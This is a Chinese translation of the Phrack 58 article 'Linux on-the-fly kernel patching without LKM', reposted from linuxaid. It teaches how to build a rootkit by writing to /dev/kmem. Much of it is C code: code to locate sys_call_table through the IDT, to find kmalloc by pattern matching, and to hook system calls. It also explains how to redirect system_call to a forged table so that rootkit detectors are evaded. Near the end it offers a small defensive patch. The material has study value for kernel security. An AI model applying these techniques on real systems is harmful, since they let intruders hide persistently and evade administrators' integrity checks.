|
Linux on-the-fly kernel patching without LKM创建时间:2002-01-31 文章属性:转载 文章来源:http://www.linuxaid.com.cn Linux on-the-fly kernel patching without LKM 这篇文章的原文是Phrack58-0x07 Linux on-the-fly kernel patching without LKM,其中提出了一种不借助LKM(Loadable Kernel Module),直接修改系统调用实现Rootkit的技术。在阅读本文时,最好能够对照原文和实现这项技术的代码,以免译者可能出现的理解错误给您造成 误解:)。 作者:sd&devik 翻译:nixe0n 1.简介 开始,我们要感谢Silvio Cesare,是他在很久以前就实现了内核修改技术,本文的大部分想法都是窃取他的成果。 本文,我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解,请参考本文列举的参考资料。 首先,我们设想一下,如果一个可怜的家伙进入了一个系统获得了root权限,但是系统管理员非常精明,使用某些数据完整性检测工具使攻击者不能神不知鬼不 觉地安装自己修改过的木马sshd,而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P),使攻击者无法编译自己的LKM rookit。这可怎么办?本文将一步步地告诉你如何解决这个问题,另外在本文的结尾提供了完整的Linux-ia32 rootkit,在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n) 本文讲述的技术只能用于用于ia32架构。 2./dev/kmem是我们的朋友 mem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。 未曾开始先来一段语录:),来自Linux手册页(man mem) 有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching,这里只是简要地介绍一个片段: 本文中,所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限,因此只有root才能实 现这些操作.注意:只是修改/dev/kmem的权限,无法让普通用户获得对它的修改权限,因为即使虚拟文件系统允许普通用户访问/dev/kmem,内 核还会对进程进行第二次检查(在device/char/mem.c中),检查进程是否具有CAP_SYS_RAWIO能力(capability)。 除/dev/kmem设备之外,/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置,通过这个设备也可能达到修改系统内核的目的。在本文中,我们不讨论这种可能性。 在代码中,针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现,非常简单。下面是实现上述功能的函数: /* 从kmem中读取数据 */ static inline int rkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } /* 向kmem中写入数据 */ static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* 从kmem读出一个整数 */ static inline int rkml(int fd, int offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* 向kmem写入一个整数 */ static inline int wkml(int fd, int offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } 3.替代系统调用 我们知道,从用户空间的角度看,系统调用在Linux中,是最底层的系统函数,因此系统调用是我们最感兴趣的东西。在Linux内核中,系统调用被集合到 一个表中(sys_call_table),这是个一维数组,保存256个指针,使用系统调用号作为索引定位调用的入口点。仅此而已。 我们首先看一下下面这段伪代码: /* as everywhere, "Hello world" is good for begginers ;-) */ /* 原来的系统调用 */ int (*old_write) (int, char *, int); /* 新系统调用处理函数 */ new_write(int fd, char *buf, int count) { if (fd == 1) { /* 标准输出设备 ? */ old_write(fd, "Hello world!/n", 13); return count; } else { return old_write(fd, buf, count); } } old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */ sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */ 这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到,我们可以通过这种方式修改sys_call_table[],而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。 好了,到此为止,我们想这恐怕已经足够了。 3.1.没有LKM如何获得sys_call_table[]的位置 首先,要注意一点,如果在编译时不支持LKM,Linux内核将不会维护任何的符号信息。这是一个明智的选择,不支持LKM,还有什么使用这些信息的理 由?为了调试?System.map可以用于调试。当然,我们需要这些符号信息:)。如果内核支持LKM,LKM需要的符号就会被导入它们的特定连接片 段。但是,我们说过,不支持LKM,这怎么办? 据我们所知,要获取sys_call_table[]的位置,最聪明的方式是这样的: #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; int kmem; void readkmem (void *m,unsigned off,int sz) { if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } } #define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */ main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; /* 获得IDTR寄存器的值 */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X/n",(int)idtr.base); /* 打开kmem */ kmem = open ("/dev/kmem",O_RDONLY); if (kmem<0) return 1; /* 从IDT读出0x80向量 (syscall) */ readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) | idt.off1; printf("idt80: flags=%X sel=%X off=%X/n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* 寻找sys_call_table的地址 */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"/xff/x14/x85",3); sct = *(unsigned*)(p+3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x/n", sct, p); } close(kmem); } 下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置,从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。 然后我们使用[sys_call_off = (idt.off2 << 16) | idt.off1;]计算出int $0x80的入口点(system_call函数的地址)。但是,我们想知道的是sys_call_table[]的位置。我们先看一下 system_call函数反汇编后的代码。你如果使用自己编译的内核,那么每次编译完成后,都会产生一个叫做vmlinux的文件。使用这个文件可以找 出内核符号的地址。 [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call Dump of assembler code for function system_call: 0xc0106bc8 <system_call>: push %eax 0xc0106bc9 <system_call+1>: cld 0xc0106bca <system_call+2>: push %es 0xc0106bcb <system_call+3>: push %ds 0xc0106bcc <system_call+4>: push %eax 0xc0106bcd <system_call+5>: push %ebp 0xc0106bce <system_call+6>: push %edi 0xc0106bcf <system_call+7>: push %esi 0xc0106bd0 <system_call+8>: push %edx 0xc0106bd1 <system_call+9>: push %ecx 0xc0106bd2 <system_call+10>: push %ebx 0xc0106bd3 <system_call+11>: mov $0x18,%edx 0xc0106bd8 <system_call+16>: mov %edx,%ds 0xc0106bda <system_call+18>: mov %edx,%es 0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx 0xc0106be1 <system_call+25>: and %esp,%ebx 0xc0106be3 <system_call+27>: cmp $0x100,%eax 0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx) 0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- 就是它 0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1) 0xc0106bff <system_call+55>: nop End of assembler dump. (gdb) print &sys_call_table $1 = (<data variable, no debug info> *) 0xc01e0f18 <-- 看到了吗?一样 (gdb) x/xw (system_call+44) 0xc0106bf4 <system_call+44>: 0x188514ff <-- 机器指令 (little endian) (gdb) 从上面的试验可以看出,只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了。而且,各种x86架构的Linux内核(至少从2.0.10到2.4.10是如 此)基本都是通过这条指令来传递系统调用的。call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x调用地址,因此我们可以使用模式匹配的方式获得条指令的地址: memmem (sc_asm,CALLOFF,"/xff/x14/x85",3); /*从system_call的位置开始搜索*/ 除了这种方法,可能存在更为健壮的处理方式。这里我们只是简单地获得int $0x80处理函数中某条简单指令的地址。如果考虑内核的重入性问题,就复杂了。 到此为止,我们获得了sys_call_table[]的位置,这样我们就可以修改某些系统调用的地址了,下面是相关的伪代码: readkmem(&old_write, sct + __NR_write * 4, 4); /* 保存旧的系统调用 */ writekmem(new_write, sct + __NR_write * 4, 4); /* 设置新的系统调用 */ 3.2.修改system_call的调用地址 在撰写本文时,我们在Packetstorm/Freshmeat发现了一些所谓的rootkit检测器。它们能够检测LKM、系统调用表和内核其它部分 的错误。不过幸运的是,绝大多数此类工具都非常愚蠢,只要略施小计就可以骗过它们,请参考文献[6],绿色兵团的大鹰也有一篇讨论这项技术的文章。我们建 立一个新的系统调用表,根本不修改原来的sys_call_table[]数组里面的任何内容,然后把system_call函数的调用地址修改为新的系 统调用表就可以了。这样,那些通过检查系统调用实现函数的地址的rootkit检测工具(例如:kstat)就根本无法察觉系统调用已经被修改了,因为我 们根本就没有修改过sys_call_table[]里面的任何东西,只是将其废弃不用而已。具体过程可以使用如下伪代码描述: ulong sct = addr of sys_call_table[] char *p = ptr to int 0x80's call sct(,eax,4) - dispatch ulong nsct[256] = new syscall table with modified entries readkmem(nsct, sct, 1024); /* read old */ old_write = nsct[__NR_write]; nsct[__NR_write] = new_write; /* 使用我们自己的系统调用表 */ writekmem((ulong) p+3, nsct, 4); /* Note that this code never can work, because you can't redirect something kernel related to userspace, such as sct[] in this case */ 在这段代码中,我们建立了sys_call_table[]的一个拷贝[readkmem(nsct, sct,1024);],然后保存并修改我们感兴趣的调用入口[old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;],接着只要修改system_call函数中call <地址>(,eax,4)指令调用的地址,就可以实现系统调用的重定向: 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) ~~~~|~~~~~ |__ 这就是我们自己的系统调用表地址 LKM检测工具一般不会检查system_call函数的内容(以后很可能会的),因此根本无法察觉,sys_call_table[]还在那里,我们没有做任何的修改,只是system_call函数已经不再用它了:)。 4.获得内核空间的内存 下面,我们要做的就是获得地址在0xc0000000或者0x80000000以上的内存,0xc0000000是用户内存空间和内核内存空间的边界,用 户进程无法访问地址高于0x80000000的内存地址,即使是root用户也不行。那么,我们又该怎么做呢?别着急,让我们首先看看支持LKM的内核是 怎么做的(/usr/src/linux/kernel/module.c); void inter_module_register(const char *im_name, struct module *owner, const void *userdata) { struct list_head *tmp; struct inter_module_entry *ime, *ime_new; if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) { /* Overloaded kernel, not fatal */ ... 不出我们所料,它们使用kmalloc(size, GFP_KERNEL)函数来分配内核空间的内存。但是,我们不能使用kmalloc()函数,因为: 我们不知道kmalloc()函数的地址 我们不知道GFP_KERNEL的值 我们不能在用户空间调用kmalloc()函数 4.1.如果有LKM支持如何获得kmalloc()的地址 如果系统提供LKM支持,可以使用如下代码找到kmalloc函数的地址: ulong get_sym(char *n) { struct kernel_sym tab[MAX_SYMS]; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS' 'numsyms < 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } ulong get_kma(ulong pgoff) { ret = get_sym("kmalloc"); if (ret) return ret; return 0; } 这段代码我们就不多做说明了。 4.2.通过模式匹配搜索kmalloc()函数的地址 但是,如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询: push GFP_KERNEL <something between 0-0xffff> push size <something between 0-0x1ffff> call kmalloc 然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址,下面是实现代码: #define RNUM 1024 ulong get_kma(ulong pgoff) { struct { uint a,f,cnt; } rtab[RNUM], *t; uint i, a, j, push1, push2; uint found = 0, total = 0; uchar buf[0x10010], *p; int kmem; ulong ret; /* 在使用我们自己的方式之前,试一下正确的方法是否可行 */ ret = get_sym("kmalloc"); if (ret) return ret; /* humm, no way ;)) */ kmem = open(KMEM_FILE, O_RDONLY, 0); if (kmem < 0) return 0; for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) { if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* 寻找push和call指令 */ for (p = buf; p < buf + 0x10000;) { switch (*p++) { case 0x68: push1 = push2; push2 = *(unsigned*)p; p += 4; continue; case 0x6a: push1 = push2; push2 = *p++; continue; case 0xe8: if (push1 && push2 && push1 <= 0xffff && push2 <= 0x1ffff) break; default: push1 = push2 = 0; continue; } /* 我们获得了push1/push2/call序列,再寻找地址 */ a = *(unsigned *) p + i + (p - buf) + 4; p += 4; total++; /* 在表中找 */ for (j = 0, t = rtab; j < found; j++, t++) if (t->a == a && t->f == push1) break; if (j < found) t->cnt++; else if (found >= RNUM) { return 0; } else { found++; t->a = a; t->f = push1; t->cnt = 1; } push1 = push2 = 0; } /* for (p = buf; ... */ } /* for (i = (pgoff + 0x100000) ...*/ close(kmem); t = NULL; for (j = 0;j < found; j++) /* find a winner */ if (!t' 'rtab[j].cnt > t->cnt) t = rtab+j; if (t) return t->a; return 0; } 这个代码只是一个简单的state machine,它没有考虑由某些GCC编译选项造成的汇编代码布局的差异。修改switch的选项,可以把它用于其它代码模式的搜索。并且如果增加对GFP值的查询,可以增加其准确程度。 这个代码的精确度能够达到大约80%左右,并且可以广泛地用于2.2.1->2.4.13的内核。 4.3.GFP_KERNEL的值 我们将要遇到的下一个问题是GFP_KERNEL的值在每个内核系列中是不同的,这个问题可以通过uname()函数解决。 +-----------------------------------+ | kernel version | GFP_KERNEL value | +----------------+------------------+ | 1.0.x .. 2.4.5 | 0x3 | +----------------+------------------+ | 2.4.6 .. 2.4.x | 0x1f0 | +----------------+------------------+ 注意:在2.4.7-2.4.9的内核中,有时会因为错误的GFP_KERNEL造成调用不成功。 代码: #define NEW_GFP 0x1f0 #define OLD_GFP 0x3 /* uname struc */ struct un { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; char domainname[65]; }; int get_gfp() { struct un s; uname(&s); if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' || (s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP; } return OLD_GFP; } 4.4.覆盖系统调用 我们前面说过,我们不能直接从用户空间调用kmalloc()函数,这个问题可以从Silvio的文章中找到答案[参考文献2]。 1.获得某些系统调用实现的地址(IDT -> int 0x80 -> sys_call_table)。 2.建立一个例程调用kmalloc()函数并返回一个内存指针。 3.由于某个系统调用要被覆盖,因此我们需要保存将被覆盖掉的内容。 4.使用我们自己的例程覆盖原来的系统调用实现。 5.通过int $0x80在用户空间调用这个系统调用,这个例程就会把获得的内存指针返回给我们。 6.利用3.保存的内容恢复原来的系统调用。 我们自己的系统调用如下: struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)); int our_routine(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } 现在,我们获得了内核空间的内存,可以把我们自己的系统调用实现复制到这块内存中,然后修改伪造的sys_call_table数组,伪造系统调用的入口。 5.一些需要注意的事项 在使用这个技术时,最好能够注意以下事项: 注意内核的版本(我们是指GFP_KERNEL)。 如果想是其能够用于不同的内核,最好只修改系统调用,不要涉及到其它的任何内核数据结构包括tash_struct。 这个技术用于SMP可能造成一些麻烦,注意内核的重入问题,在需要的地方使用用户空间的锁。 6.可能的解决方法 好了,现在我们站在一个好人的角度上,看看怎样才能防止这种攻击。使用下面的补丁,把/dev/kmem设备的属性改为只读,并且取消LKM支持可以解决这个问题。 <++> kmem-ro.diff --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001 +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001 @@ -49,6 +51,8 @@ const char * buf, size_t count, loff_t *ppos) { ssize_t written; + /* disable kmem write */ + return -EPERM; written = 0; #if defined(__sparc__)' 'defined(__mc68000__) <--> 注意:这个补丁可能造成一些需要写/dev/kmem内核权限的应用程序无法正常运行,不过,为了安全这是值得的。 7.结论 Linux的内存设备看起来非常强大,但是攻击者同样可以使用这些设备来长时间地隐藏自己的行为,窃取信息,保证自己的远程访问权限,而不被发现。我们所知,这些设备并没有太大用处,因此关闭对它们进行写操作的能力是个好注意。 参考资料 [1] Silvio Cesare's homepage, pretty good info about low-level linux stuff [http://www.big.net.au/~silvio] [2] Silvio's article describing run-time kernel patching (System.map) [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt] [3] QuantumG's homepage, mostly virus related stuff [http://biodome.org/~qg] [4] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05] [5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide for hackers, virus coders and system administrators." [http://www.thehackerschoice.com/papers] |